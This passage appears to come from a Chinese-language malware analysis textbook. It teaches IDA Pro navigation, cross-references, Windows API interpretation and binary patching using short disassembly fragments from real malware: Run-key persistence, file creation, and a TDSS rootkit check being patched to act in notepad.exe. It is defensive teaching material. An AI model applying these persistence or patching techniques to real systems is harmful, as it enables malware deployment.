.text:00401006    mov dword ptr [ebp-4], 1
.text:0040100D    mov eax, [ebp-4]
.text:00401010    mov [ebp-8], eax

IDA 自动为变量/参数生成了虚拟名称并在代码中使用了这些名称;这节省了手动标记地址的工作,并且由于 IDA 添加的var_xxxarg_xxx前缀,使得识别局部变量和参数变得更加容易。现在,你可以将➍处的[ebp+var_4]当作[var_4]来看待,因此指令mov [ebp+var_4],1可以被看作mov [var_4],1,并且可以理解为将var_4的值设为1(换句话说,var_4 = 1)。类似地,指令mov [ebp+var_8],eax可以被看作mov [var_8],eax(换句话说,var_8 = eax);IDA 的这个功能使得阅读汇编代码变得更加轻松。

前面的程序可以通过忽略函数序言函数尾声和用于为局部变量分配空间的指令简化。根据上一章节介绍的概念,我们知道这些指令只是用于设置函数环境。清理后,我们得到以下代码:

.text:00401006    mov [ebp+var_4], 1
.text:0040100D    mov eax, [ebp+var_4]
.text:00401010    mov [ebp+var_8], eax
.text:00401013    xor eax, eax
.text:00401018    retn

2.3.1 重命名位置

到目前为止,我们已经看到 IDA 如何对我们的程序执行分析以及如何添加虚拟名称。虚拟名称很有用,但这些名称并不说明变量的目的。在分析恶意软件时,您应该将变量/函数名称更改为更有意义的名称。要重命名变量或参数,请右键单击变量名或参数,然后选择重命名(或按N键);这将弹出以下对话框。重命名后,IDA 将将新名称传播到引用该项的任何地方。您可以使用重命名功能为函数和变量赋予有意义的名称:

在前述代码中将var_4的名称更改为x,将var_8的名称更改为y将导致显示如下的新列表:

.text:00401006    mov [ebp+x], 1
.text:0040100D    mov eax, [ebp+x]
.text:00401010    mov [ebp+y], eax
.text:00401013    xor eax, eax
.text:00401018    retn

您现在可以将前述指令翻译为伪代码(如前一章节所述)。为此,让我们利用 IDA 中的注释功能。

2.3.2 在 IDA 中添加注释

注释对于提醒您程序中的重要事项非常有用。要添加常规注释,请将光标放在反汇编列表中的任何行上,然后按热键冒号:),这将弹出注释输入对话框,您可以在其中输入注释。以下列表显示了描述各个指令的注释(以;开头):

.text:00401006    mov [ebp+x], 1     ; x = 1
.text:0040100D    mov eax, [ebp+x]   ; eax = x
.text:00401010    mov [ebp+y], eax   ; y = eax
.text:00401013    xor eax, eax       ; return 0
.text:00401018    retn

常规注释特别适用于描述单行(即使您可以输入多行),但如果我们能够将前面的注释分组在一起描述main函数的功能,那将会很棒。IDA 提供了另一种称为函数注释的注释类型,允许您将注释分组并在函数的反汇编列表顶部显示它们。要添加函数注释,请突出显示函数名称,例如在前面的反汇编列表中显示的_main,然后按冒号(:)。以下显示了在_main函数顶部添加的伪代码,作为使用函数注释的结果,现在伪代码可以提醒您函数的行为:

.text:00401000    ; x = 1  ➑
.text:00401000    ; y = x  ➑
.text:00401000    ; return 0 ➑
.text:00401000    ; Attributes: bp-based frame
.text:00401000
.text:00401000    ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000    _main proc near ; CODE XREF: ___tmainCRTStartup+194p

现在我们已经使用了 IDA 的一些功能来分析二进制文件,如果有一种方法可以保存变量的名称和我们添加的注释,那不是很好吗?这样,下次当你将相同的二进制文件加载到 IDA 中时,就不必再次按照这些步骤进行了。实际上,之前所做的任何操作(如重命名或添加注释)都是针对数据库而不是可执行文件进行的;在下一节中,您将学习如何轻松保存数据库。

2.3.3 IDA 数据库

当可执行文件加载到 IDA 时,它会在工作目录中创建一个由五个文件(扩展名为 .id0.id1.nam.id2.til 的文件)组成的数据库。每个文件存储着不同的信息,并且具有与所选可执行文件匹配的基本名称。这些文件会被归档并压缩成一个 .idb(用于 32 位二进制文件)或 .i64(用于 64 位二进制文件)扩展名的数据库文件。在加载可执行文件时,数据库会被创建并填充来自可执行文件的信息。展示给你的各种视图实际上只是数据库的不同展示方式,以便以有助于代码分析的格式呈现信息。你所做的任何修改(如重命名注释等)都会反映在视图中,并保存在数据库中,但这些更改并不会修改原始的可执行文件。你可以通过关闭 IDA 来保存数据库;当你关闭 IDA 时,会弹出一个保存数据库的对话框,如下图所示。选择默认的打包数据库选项时,所有文件会被归档为一个单独的 IDB(.idb)或 i64(.i64)文件。当你重新打开 .idb.i64 文件时,你应该能够看到已重命名的变量和注释:

让我们看另一个简单的程序,并探索 IDA 的一些其他功能。以下程序包含了全局变量 ab,这些变量在 main 函数中被赋值。变量 xystring 是局部变量;x 保存 a 的值,而 ystring 保存地址:

int a;
char b;
int main()
{
   a = 41;
   b = 'A';
   int x = a;
   int *y = &a;
   char *string = "test";
   return 0;
}

程序会翻译成以下的反汇编列表。IDA 在 ➊ 处识别了三个局部变量,并将这些信息传播到程序中。IDA 还识别了全局变量,并分配了像 dword_403374byte_403370 这样的名称;注意如何使用固定的内存地址来引用 ➋、➌ 和 ➍ 处的全局变量。原因是,当一个变量在全局数据区中定义时,编译器在编译时就知道了变量的地址和大小。IDA 分配的虚拟全局变量名指定了变量的地址以及它们包含的数据类型。例如,dword_403374 告诉你地址 0x403374 可以包含一个 dword 值(4 字节);类似地,byte_403370 告诉你 0x403370 可以保存一个单一的 byte 值。

IDA 在 ➎ 和 ➏ 处使用了 offset 关键字,表示使用了变量的地址(而不是变量的内容),并且由于在 ➎ 和 ➏ 处为局部变量 var_8var_C 分配了地址,你可以看出 var_8var_C 保存的是地址(即“指针”变量)。在 ➏ 处,IDA 为包含字符串的地址分配了虚拟名称 aTest(字符串变量)。这个虚拟名称是通过字符串中的字符生成的,字符串 "test" 本身被作为一个 comment 添加,以指示该地址包含该字符串:

.text:00401000    var_C= dword ptr -0Ch  ➊ 
.text:00401000    var_8= dword ptr -8  ➊ 
.text:00401000    var_4= dword ptr -4  ➊ 
.text:00401000    argc= dword ptr 8
.text:00401000    argv= dword ptr 0Ch
.text:00401000    envp= dword ptr 10h
.text:00401000
.text:00401000    push ebp
.text:00401001    mov ebp, esp
.text:00401003    sub esp, 0Ch
.text:00401006    mov ➋ dword_403374, 29h  
.text:00401010    mov ➌ byte_403370, 41h  
.text:00401017    mov eax, dword_403374  ➍ 
.text:0040101C    mov [ebp+var_4], eax
.text:0040101F    mov [ebp+var_8], offset dword_403374  ➎ 
.text:00401026    mov [ebp+var_C], offset aTest ; "test"  ➏
.text:0040102D    xor eax, eax
.text:0040102F    mov esp, ebp
.text:00401031    pop ebp
.text:00401032    retn

到目前为止,在这个程序中,我们已经看到 IDA 通过执行其分析并为地址分配虚拟名称(您可以使用之前介绍的重命名选项将这些地址重命名为更有意义的名称)来帮助。 在接下来的几节中,我们将看到 IDA 的其他功能,以进一步改进反汇编。

2.3.4 格式化操作数

在前述清单中的➋和➌处,操作数(29h41h)表示为十六进制常量值,而在源代码中,我们使用了十进制值41和字符'A'。 IDA 允许您将常量值重新格式化为十进制八进制二进制值。 如果常量落在 ASCII 可打印范围内,则还可以将常量值格式化为字符。 例如,要更改41h的格式,请右键单击常量值(41h),之后将呈现不同的选项,如下图所示。 选择适合您需求的选项:

2.3.5 导航位置

IDA 的另一个重要功能是使得在程序中的任何位置导航变得更加容易。 当程序被反汇编时,IDA 为程序中的每个位置都标记了标签,双击这些位置将会跳转到所选位置。 在前面的示例中,您可以通过双击任何命名位置(如dword_403374byte_403370aTest)来导航到其中任何一个。 例如,双击➏处的aTest将会跳转到.data部分中的虚拟地址,如下所示。 请注意 IDA 如何将包含字符串"test"的地址0x00403000标记为aTest

.data:00403000    aTest db 'test',0  ➐; DATA XREF: _main+26o

类似地,双击地址dword_403374将重新定位到此处显示的虚拟地址:

.data:00403374     dword_403374 dd ?    ➑; DATA XREF: _main+6w 
.data:00403374                       ➒; _main+17r ... 

IDA 会跟踪您的导航历史记录; 每当您导航到新位置并希望返回到原始位置时,您可以使用导航按钮。 在前面的示例中,要返回到反汇编窗口,只需使用后退导航按钮,如下图所示:

有时,您可能知道要导航到的确切地址。 要跳转到特定地址,请单击跳转 | 跳转到地址(或按G键); 这将弹出跳转到地址对话框。 只需指定地址并单击确定。

2.3.6 交叉引用

另一种导航方式是使用交叉引用(也称为Xrefs)。 交叉引用链接相关地址。 交叉引用可以是数据交叉引用代码交叉引用

数据交叉引用指定了数据在二进制文件中的访问方式。在前面的列表中,➐、➑和➒处展示了数据交叉引用的示例。例如,➑处的数据交叉引用告诉我们,这个数据是由偏移量为0x6的指令访问的,即_main函数的指令(换句话说,就是➋处的指令)。字符w表示写入交叉引用;这表明该指令将内容写入此内存位置(请注意,29h被写入了➋处的内存位置)。➒处的字符r表示读取交叉引用,这告诉我们,指令_main+17(换句话说,就是➍处的指令)从该内存位置读取内容。➒处的省略号(...)表示还有更多的交叉引用,但由于显示限制,未能展示。另一种类型的数据交叉引用是偏移交叉引用(由字符o表示),它表明使用的是某个位置的地址,而不是内容。数组和字符串(字符数组)通过其起始地址进行访问,因此➐处的字符串数据标记为偏移交叉引用。

代码交叉引用表示控制流从一个指令跳转到另一个指令(例如跳转函数调用)。以下展示了一个简单的 C 语言if语句:

int x = 0;
if (x == 0)
{
    x = 5;
}
x = 2;

程序反汇编后的列表如下。在➊处,注意到 C 代码中的equal to==)条件被反转为jnz(即jnejump, if not equal的别名);这样做是为了实现从➊跳转到➋的分支。你可以理解为if var_4 不等于 0,然后跳转到loc_401018(即跳转到if块之外)。跳转交叉引用的注释显示在跳转目标➌处,表示控制流从一个指令(即偏移量为0xF的指令)转移到另一个位置(换句话说,就是➊处的指令)。注释末尾的字符j表示控制流因跳转而发生了转移。你可以双击交叉引用注释(_Main+Fj),以将显示切换到➊处的引用指令:

.text:00401004    mov [ebp+var_4], 0
.text:0040100B    cmp [ebp+var_4], 0
.text:0040100F    jnz short loc_401018 ➊
.text:00401011    mov [ebp+var_4], 5
.text:00401018
.text:00401018    loc_401018:  ➌; CODE XREF: _main+Fj
.text:00401018    ➋ mov [ebp+var_4], 2

通过按下空格键,前面的列表可以在图形视图模式下查看。图形视图特别有助于可视化分支/循环语句。如前所述,绿色箭头表示跳转已发生(条件已满足),红色箭头表示跳转未发生,蓝色箭头表示正常路径:

现在,为了理解函数交叉引用,请参考以下 C 代码,它在main()函数内调用了test()函数:

void test() { }
void main() {
    test();
}

以下是 main 函数的反汇编清单。➊ 处的 sub_401000 代表 test 函数。IDA 自动使用 sub_ 前缀为函数地址命名,以表示 子程序(或函数)。例如,当你看到 sub_401000 时,你可以理解为这是位于地址 0x401000 的子程序(你也可以将其重命名为更有意义的名称)。如果你愿意,可以通过双击函数名跳转到该函数:

.text:00401010    push ebp
.text:00401011    mov ebp, esp
.text:00401013    call sub_401000 ➊
.text:00401018    xor eax, eax

sub_401000test 函数)开始处,IDA 添加了一个代码交叉引用注释 ➋,表示该函数 sub_401000 是由 _main 函数起始位置偏移 3 处的指令调用的(也就是从 ➊ 调用)。你可以通过双击 _main+3p 来跳转到 _main 函数。p 后缀表示控制流因 函数(过程) 调用而转移到地址 0x401000

.text:00401000    sub_401000    proc near ➋; CODE XREF: _main+3p
.text:00401000                  push ebp
.text:00401001                  mov ebp, esp
.text:00401003                  pop ebp
.text:00401004                  retn
.text:00401004    sub_401000    endp

2.3.7 列出所有交叉引用

交叉引用 在分析恶意二进制文件时非常有用。在分析过程中,如果你遇到一个 字符串有用的函数,并且想了解它们在代码中的使用方式,那么你可以使用交叉引用快速跳转到引用该字符串或函数的位置。IDA 添加的交叉引用注释是定位地址之间的一种很好的方法,但它有显示限制(最多显示两项);因此,你将无法看到所有的交叉引用。请参考以下的数据交叉引用 ➊;省略号(...)表示还有更多交叉引用:

.data:00403374 dword_403374      dd ?          ; DATA XREF: _main+6w 
.data:00403374                                 ; _main+17r ... ➊

假设你想列出所有的交叉引用,只需点击命名位置(如dword_403374),然后按 X 键。这将弹出一个窗口,列出所有引用该命名位置的地方,如下所示。你可以双击这些条目中的任何一个,跳转到程序中使用该数据的位置。你可以使用这种方法查找所有指向 字符串函数 的交叉引用:

一个程序通常包含许多函数。单个函数可以被一个或多个函数调用,或者它本身可以调用一个或多个函数。在进行恶意软件分析时,你可能希望快速了解一个函数。在这种情况下,你可以高亮显示函数名,并选择视图 | 打开子视图 | 函数调用,以查看函数的交叉引用。以下截图显示了sub_4013CD(来自恶意软件样本)函数的Xrefs。窗口的上半部分告诉你sub_401466函数调用了sub_4013CD,而窗口的下半部分显示了所有sub_4013CD将调用的函数;注意,下半部分显示了sub_4013CD将调用的 API 函数(CreateFileWriteFile);根据这些信息,你可以推断出sub_4013CD函数与文件系统进行了交互:

2.3.8 邻近视图和图形

IDA 的图形选项是可视化交叉引用的好方法。除了前面展示的图形视图外,你还可以使用 IDA 集成的图形功能,称为邻近视图,来显示程序的调用图。要查看之前示例中sub_4013CD函数的调用图,在函数内的任意位置放置光标后,点击视图 | 打开子视图 | 邻近浏览器;这将把反汇编窗口的视图切换到邻近视图,具体如下所示。在邻近视图中,函数和数据引用以节点的形式表示,它们之间的交叉引用以边(连接节点的线)表示。以下图显示了sub_4013CDXrefs toXrefs fromsub_4013CD的父节点(即sub_401466)表示它的调用函数,而sub_4013CD调用的函数则表示为子节点。你可以通过双击加号图标或右键点击加号图标并选择展开节点来进一步深入查看父子关系(Xrefs to 和 Xrefs from)。你还可以右键点击节点,使用展开父节点/子节点或折叠父节点/子节点的选项来展开或折叠节点的父节点或子节点。你还可以通过使用Ctrl + 鼠标滚轮来进行缩放。要从邻近视图返回到反汇编视图,只需右键点击背景并选择图形视图或文本视图:

除了集成图形,IDA 还可以使用第三方图形应用程序显示图形。要使用这些图形选项,右键点击工具栏区域并选择图形,这将在工具栏区域显示五个按钮:

你可以通过点击任意一个按钮来生成不同类型的图表,但这些图表并非交互式的(与集成的基于图形的反汇编视图和邻近视图不同)。以下概述了这些按钮的功能:

它显示当前函数的外部流程图。这类似于 IDA 反汇编窗口中的交互式图形视图模式。
它显示了整个程序的调用图;这可以用来快速了解程序内部函数调用的层级关系,但如果二进制文件包含太多函数,图表可能会难以查看,因为它可能变得非常大且杂乱无章。
它显示了对 (Xrefs to) 函数的交叉引用;如果您想查看程序到达特定函数的各种路径,这非常有用。以下截图展示了到达 sub_4013CD 函数的路径:
它显示从(Xrefs from)一个函数的交叉引用;这对于了解一个特定函数调用的所有函数非常有用。以下示意图将帮助您了解 sub_4013CD 将调用的所有函数:
这是 用户交叉引用(User Xref) 按钮,允许您生成自定义的交叉引用图。

通过了解如何利用 IDA 的功能来增强您的反汇编效果,让我们进入下一个主题,在这个主题中,您将学习恶意软件如何使用 Windows API 与系统进行交互。您将学到如何获取更多关于 API 函数的信息,以及如何区分并解释 32 位和 64 位恶意软件中的 Windows API。

3. 拆解 Windows API

恶意软件通常使用 Windows API 函数 (应用程序编程接口) 来与操作系统交互(执行文件系统、进程、内存和网络操作)。正如在 第二章静态分析 和 第三章动态分析 中所解释的那样,Windows 在 动态链接库(DLL) 文件中导出了执行这些交互所需的大部分函数。可执行文件从这些 DLL 中导入并调用 API 函数,这些 DLL 提供不同的功能。为了调用 API,执行进程将 DLL 加载到其内存中,然后调用 API 函数。检查恶意软件依赖的 DLL 及其导入的 API 函数可以帮助我们了解恶意软件的功能和能力。下表概述了一些常见的 DLL 及其实现的功能:

DLL 描述
Kernel32.dll 该 DLL 导出与进程、内存、硬件和文件系统操作相关的函数。恶意软件从这些 DLL 中导入 API 函数,以执行与文件系统、内存和进程相关的操作。
Advapi32.dll 该 DLL 包含与服务和注册表相关的功能。恶意软件使用这个 DLL 中的 API 函数来执行服务和注册表相关的操作。
Gdi32.dll 它导出与图形相关的函数。
User32.dll 它实现了创建和操作 Windows 用户界面组件的函数,例如桌面、窗口、菜单、消息框、提示框等。一些恶意软件程序使用这个 DLL 中的函数进行 DLL 注入,并监控键盘(键盘记录)和鼠标事件。
MSVCRT.dll 它包含 C 标准库函数的实现。
WS2_32.dllWSock32.dll 它们包含用于网络通信的函数。恶意软件从这些 DLL 导入函数以执行与网络相关的任务。
Wininet.dll 它暴露了与 HTTP 和 FTP 协议交互的高级函数。
Urlmon.dll 它是 WinInet.dll 的封装,负责 MIME 类型处理和网页内容的下载。恶意软件下载器使用这个 DLL 中的函数来下载额外的恶意软件内容。
NTDLL.dll 它导出 Windows 本地 API 函数,并充当用户模式程序与内核之间的接口。例如,当程序调用 kernel32.dll(或 kernelbase.dll)中的 API 函数时,API 会调用 ntdll.dll 中的短小存根。程序通常不会直接从 ntdll.dll 导入函数;ntdll.dll 中的函数是通过像 Kernel32.dll 这样的 DLL 间接导入的。ntdll.dll 中的大部分函数未公开,恶意软件作者有时会直接从这个 DLL 中导入函数。

3.1 理解 Windows API

为了演示恶意软件如何利用 Windows API,并帮助你了解如何获取更多有关 API 的信息,让我们看看一个恶意软件样本。将恶意软件样本加载到 IDA 中,并检查导入窗口中的导入函数,显示出对 CreateFile API 函数的引用,如下截图所示:

在确定此 API 在代码中引用的位置之前,让我们先获取更多关于 API 调用的信息。每当你遇到一个 Windows API 函数(如上面的例子所示),你可以通过简单地在 Microsoft 开发者网络 (MSDN) 上搜索它来了解更多关于该 API 函数的信息,网址是 msdn.microsoft.com/,或者通过 Google 搜索。MSDN 文档会提供 API 函数的描述、其函数参数(及其数据类型)和返回值。CreateFile 的函数原型(如文档中提到的 msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx)显示在以下代码段中。从文档中,你可以看出这个函数用于 创建打开 文件。要了解程序创建或打开的是哪个文件,你需要检查第一个参数(lpFilename),它指定了文件名。第二个参数(dwDesiredAccess)指定了请求的访问权限(如 读取写入 权限),第五个参数指定了对文件采取的操作(如创建新文件或打开现有文件):

HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);

Windows API 使用 匈牙利命名法 来命名变量。在这种命名法中,变量前缀是其数据类型的缩写;这使得很容易理解给定变量的数据类型。在上面的例子中,考虑第二个参数 dwDesiredAccessdw 前缀指定它是 DWORD 数据类型。Win32 API 支持许多不同的数据类型(msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx)。下表概述了一些相关的数据类型:

数据类型 描述
BYTE (b) 无符号 8 位值。
WORD (w) 无符号 16 位值。
DWORD (dw) 无符号 32 位值。
QWORD (qw) 无符号 64 位值。
Char (c) 8 位 ANSI 字符。
WCHAR 16 位 Unicode 字符。
TCHAR 通用字符(1 字节 ASCII 字符或 2 字节 Unicode 字符)。
Long Pointer (LP) 这是指向另一数据类型的指针。例如,LPDWORD 是指向 DWORD 的指针,LPCSTR 是常量字符串,LPCTSTR 是常量 TCHAR(1 字节 ASCII 字符或 2 字节 Unicode 字符)字符串,LPSTR 是非常量字符串,LPTSTR 是非常量 TCHAR(ASCII 或 Unicode)字符串。有时,你会看到 Pointer (P) 代替 Long Pointer (LP)
Handle (H) 它代表handle数据类型。句柄是对对象的引用。在进程可以访问一个对象(例如文件、注册表、进程、互斥锁等)之前,它必须先打开该对象的句柄。例如,如果一个进程想要写入文件,它首先调用 API,如CreateFile,该 API 返回文件的句柄;然后,进程使用该句柄调用WriteFile API 来写入文件。

除了数据类型和变量外,前面的函数原型包含了注解,例如_In__Out_,这些注解描述了函数如何使用其参数返回值_In_指定这是一个输入参数,调用者必须提供有效的参数以确保函数能够正常工作。_IN_OPT指定这是一个可选的输入参数(也可以是NULL)。_Out_指定这是一个输出参数,意味着函数在返回时会填充该参数。了解这一约定非常有用,因为它告诉你,API 调用后是否会在输出参数中存储任何数据。_Inout_表示该参数既传递值给函数,又接收函数的输出。

通过了解如何从文档中获取 API 的信息,接下来我们回到恶意软件示例。通过交叉引用CreateFile,我们可以确定CreateFile API 在两个函数中被引用,分别是StartAddressstart,如下所示:

双击前面截图中的第一个条目,会跳转到反汇编窗口中的以下代码。以下代码突出了 IDA 的另一个重要特性。反汇编时,IDA 采用了一种叫做快速库识别与匹配技术(FLIRT)的技术,该技术包含模式匹配算法,用于识别反汇编的函数是库函数还是导入函数(从 DLL 导入的函数)。在这个例子中,IDA 成功地将反汇编出的函数➊识别为一个导入函数,并将其命名为CreateFileA。IDA 能够识别库函数和导入函数非常有用,因为在分析恶意软件时,你不希望浪费时间逆向工程一个库或导入函数。IDA 还将参数的名称作为注释添加,以指示在每个指令中传递了哪些参数,直到调用CreateFileA Windows API 为止:

push  0                   ; hTemplateFile
push  80h                 ; dwFlagsAndAttributes
push  2  ➍                ; dwCreationDisposition
push  0                    ; lpSecurityAttributes
push  1                    ; dwShareMode
push  40000000h  ➌         ; dwDesiredAccess
push  offset FileName  ➋   ; "psto.exe"
call  CreateFileA  ➊

从前面的反汇编列表中,你可以看出恶意软件要么创建,要么打开一个作为第一个参数(➋)传递给CreateFile的文件(psto.exe)。根据文档,你知道第二个参数(➌)指定了请求的访问权限(如读取写入)。常量40000000h作为第二个参数,表示符号常量GENERIC_WRITE。恶意软件作者通常在其源代码中使用符号常量,如GENERIC_WRITE;但在编译过程中,这些常量会被其等价值(如40000000h)替代,使得很难判断它是一个数值常量还是符号常量。在这种情况下,结合 Windows API 文档,我们知道在➌位置的值40000000h是一个符号常量,代表GENERIC_WRITE。类似地,作为第五个参数(➍)传递的值2,代表符号名称CREATE_ALWAYS;这表明恶意软件正在创建文件。

IDA 的另一个特点是它维护了一个 Windows API 或 C 标准库函数的标准符号常量列表。要将常量值如40000000h在➌位置替换为符号常量,只需右击常量值并选择“使用标准符号常量”选项;这将弹出一个窗口,显示所选值(在此例中是40000000h)的所有符号名称,如下图所示。你需要选择适当的符号常量;在此例中,适当的符号常量是GENERIC_WRITE。以同样的方式,你也可以将作为第五个参数传递的常量值2,替换为它的符号名称CREATE_ALWAYS

在将常量替换为符号名称后,反汇编列表会被转换为如下所示的内容。现在代码更加易读,从代码中你可以看出恶意软件在文件系统上创建了文件psto.exe。功能调用之后,文件的句柄(可以在EAX寄存器中找到)会被返回。该函数返回的文件句柄可以传递给其他 API,如ReadFile()WriteFile(),以执行后续操作:

push 0                 ; hTemplateFile
push 80h               ; dwFlagsAndAttributes
push CREATE_ALWAYS     ; dwCreationDisposition
push 0                 ; lpSecurityAttributes
push 1                 ; dwShareMode
push GENERIC_WRITE     ; dwDesiredAccess
push offset FileName   ; "psto.exe"
call CreateFileA

3.1.1 ANSI 和 Unicode API 函数

Windows 支持两组并行的 API:一组用于ANSI 字符串,另一组用于Unicode 字符串。许多接受字符串作为参数的函数,其名称结尾带有AW,例如CreateFileA。换句话说,结尾的字符可以帮助你了解传递给函数的字符串类型(ANSI 或 Unicode)。在上述示例中,恶意软件调用CreateFileA来创建文件;结尾的字符A指定CreateFile函数接受 ANSI 字符串作为输入。你也会看到恶意软件使用如CreateFileW的 API;结尾的W指定该函数接受 Unicode 字符串作为输入。在恶意软件分析中,当你遇到CreateFileACreateFileW等函数时,只需去掉结尾的AW字符,使用CreateFile在 MSDN 中搜索该函数的文档。

3.1.2 扩展 API 函数

你将经常遇到函数名以Ex后缀结尾的情况,例如RegCreateKeyEx(它是RegCreateKey的扩展版本)。当微软更新一个与旧版本不兼容的函数时,更新后的函数名称会添加Ex后缀。

3.2 Windows API 32 位与 64 位比较

让我们通过一个 32 位恶意软件的例子来理解恶意软件如何使用多个 API 函数与操作系统进行交互,同时也尝试理解如何解读反汇编代码来理解恶意软件执行的操作。在以下的反汇编输出中,32 位恶意软件调用RegOpenKeyEx API 来打开一个指向Run注册表键的句柄。由于我们处理的是 32 位恶意软件,所有传递给RegOpenKeyEx API 的参数都会被压入栈中。根据msdn.microsoft.com/en-us/library/windows/desktop/ms724897(v=vs.85).aspx中的文档,输出参数phkResult是一个指针变量(输出参数由_Out_注释表示),在函数调用后接收打开的注册表键的句柄。注意,在➊位置,phkResult的地址被复制到ecx寄存器中,而在➋位置,这个地址作为第五个参数传递给RegOpenKeyEx API:

lea  ecx, [esp+7E8h+phkResult] ➊
push ecx ➋                        ; phkResult
push 20006h                       ; samDesired
push 0                            ; ulOptions
push offset aSoftwareMicros ;Software\Microsoft\Windows\CurrentVersion\Run
push HKEY_CURRENT_USER            ; hKey
call ds:RegOpenKeyExW

在恶意软件通过调用RegOpenKeyEx打开Run注册表项的句柄后,返回的句柄(存储在phkResult变量中,位置在➌)被移动到ecx寄存器中,然后作为第一个参数传递给RegSetValueExW,位置在➍。根据该 API 的 MSDN 文档,可以看出恶意软件使用RegSetValueEx API 来设置Run注册表项中的一个值(用于持久化)。它设置的值作为第二个参数传递,位置在➎,这个值是字符串System。它添加到注册表中的数据可以通过检查第五个参数来确定,位置在➏,这个参数是通过eax寄存器传递的。从之前的指令➐可以看出,eax中保存了pszPath变量的地址。pszPath变量在运行时会被填充一些内容,因此仅通过查看代码,很难判断恶意软件正在向注册表项中添加哪些数据(你可以通过调试恶意软件来确定,下一章将讨论这一点)。但是,现阶段通过静态代码分析(反汇编),你可以知道恶意软件向注册表项中添加了一个条目以实现持久化:

mov   ecx, [esp+7E8h+phkResult] ➌
sub   eax, edx
sar   eax, 1
lea   edx, ds:4[eax*4]
push  edx                     ; cbData
lea   eax, [esp+7ECh+pszPath] ➐
push  eax ➏                  ; lpData
push  REG_SZ                 ; dwType
push  0                      ; Reserved
push  offset ValueName       ; "System" ➎
push  ecx ➍ ; hKey
call  ds:RegSetValueExW

在向注册表项中添加条目后,恶意软件通过将之前获取的句柄(存储在phkResult变量中)传递给RegCloseKey API 函数,从而关闭该注册表项的句柄,如下所示:

mov   edx, [esp+7E8h+phkResult]
push  edx                     ; hKey
call  esi                     ; RegCloseKey

前面的示例演示了恶意软件如何利用多个 Windows API 函数向注册表项中添加条目,从而在计算机重启时自动运行。你还看到了恶意软件如何获取对象(如注册表项)的句柄,并将该句柄与其他 API 函数共享,以执行后续操作。

当你查看来自 64 位恶意软件的反汇编输出时,由于 x64 架构中参数传递的方式,它看起来可能会有所不同(这一点在前一章中已经讲解过)。以下是一个 64 位恶意软件调用CreateFile函数的示例。在前一章中讨论 x64 架构时,你了解到前四个参数是通过寄存器(rcxrdxr8r9)传递的,剩余的参数则被放置在堆栈上。在以下的反汇编中,注意第一个参数(lpfilename)是通过rcx寄存器传递的,位置在➊,第二个参数是通过edx寄存器传递的,位置在➋,第三个参数是通过r8寄存器传递的,位置在➌,第四个参数是通过r9寄存器传递的,位置在➍。额外的参数通过mov指令(注意没有使用push指令)被放置在堆栈上,位置在➎和➏。注意 IDA 如何能够识别这些参数,并在指令旁边添加注释。该函数的返回值(即文件句柄)从rax寄存器移动到rsi寄存器,位置在➐:

xor  r9d, r9d  ➍                           ; lpSecurityAttributes
lea  rcx, [rsp+3B8h+FileName] ➊             ; lpFileName
lea  r8d, [r9+1] ➌                          ; dwShareMode
mov  edx, 40000000h ➋                       ; dwDesiredAccess
mov  [rsp+3B8h+dwFlagsAndAttributes], 80h ➏  ; dwFlagsAndAttributes
mov  [rsp+3B8h+dwCreationDisposition], 2  ➎  ; lpOverlapped
call cs:CreateFileW
mov  rsi, rax  ➐

在下面的WriteFile API 反汇编列表中,注意文件句柄在前一个 API 调用中被复制到rsi寄存器中,现被移动到rcx寄存器中,作为第一个参数传递给WriteFile函数,位于➑处。以相同的方式,其他参数也被放置到寄存器和栈上,如下所示:

and  qword ptr [rsp+3B8h+dwCreationDisposition], 0
lea  r9,[rsp+3B8h+NumberOfBytesWritten]       ; lpNumberOfBytesWritten
lea  rdx, [rsp+3B8h+Buffer]                   ; lpBuffer
mov  r8d, 146h                                ; nNumberOfBytesToWrite
mov  rcx, rsi ➑                               ; hFile
call cs:WriteFile

从上面的示例可以看出,恶意软件创建了一个文件并将一些内容写入该文件,但当你静态查看代码时,并不清楚恶意软件创建了哪个文件或写入了什么内容。例如,要知道程序创建的文件名,你需要检查由变量lpFileName指定的地址的内容(该地址作为参数传递给CreateFile);但在这种情况下,lpFileName变量并不是硬编码的,只有在程序运行时才会填充。在下一章中,你将学习如何使用调试器以受控方式执行程序,从而查看变量的内容(内存位置)。

4. 修补二进制文件使用 IDA

在进行恶意软件分析时,你可能需要修改二进制文件,以改变其内部工作原理或逆向其逻辑以适应你的需求。使用 IDA,可以修改程序的数据指令。你可以通过选择编辑 | 修补程序菜单来进行修补,如下图所示。通过子菜单项,你可以修改字节汇编指令。需要记住的一点是,当你在二进制文件上使用这些菜单选项时,你实际上并没有修改二进制文件;修改是应用于 IDA 数据库的。要将修改应用于原始二进制文件,你需要使用应用补丁到输入文件子菜单项:

4.1 修补程序字节

考虑下面的 32 位恶意 DLL(TDSS rootkit)代码片段,它正在执行检查以确保它是在spoolsv.exe下运行的。这个检查通过字符串比较在➊处进行;如果字符串比较失败,代码将跳转到函数的末尾➋并从函数中返回。具体来说,这个 DLL 只有在被spoolsv.exe加载时才会生成恶意行为;否则,它只是从函数返回:

10001BF2     push offset aSpoolsv_exe  ; "spoolsv.exe"
10001BF7     push edi                  ; char *
10001BF8     call _stricmp  ➊ 
10001BFD     test eax, eax
10001BFF     pop ecx
10001C00     pop ecx
10001C01     jnz loc_10001CF9

[REMOVED]

10001CF9 loc_10001CF9: ➋      ; CODE XREF: DllEntryPoint+10j
10001CF9      xor  eax, eax
10001CFB      pop  edi
10001CFC      pop  esi
10001CFD      pop  ebx
10001CFE      leave
10001CFF      retn 0Ch

假设你希望恶意 DLL 在任何其他进程中产生行为,比如notepad.exe。你可以将硬编码的字符串从spoolsv.exe改为notepad.exe。为此,点击aSpoolsv_exe,导航到硬编码地址,这将带你进入如图所示的区域:

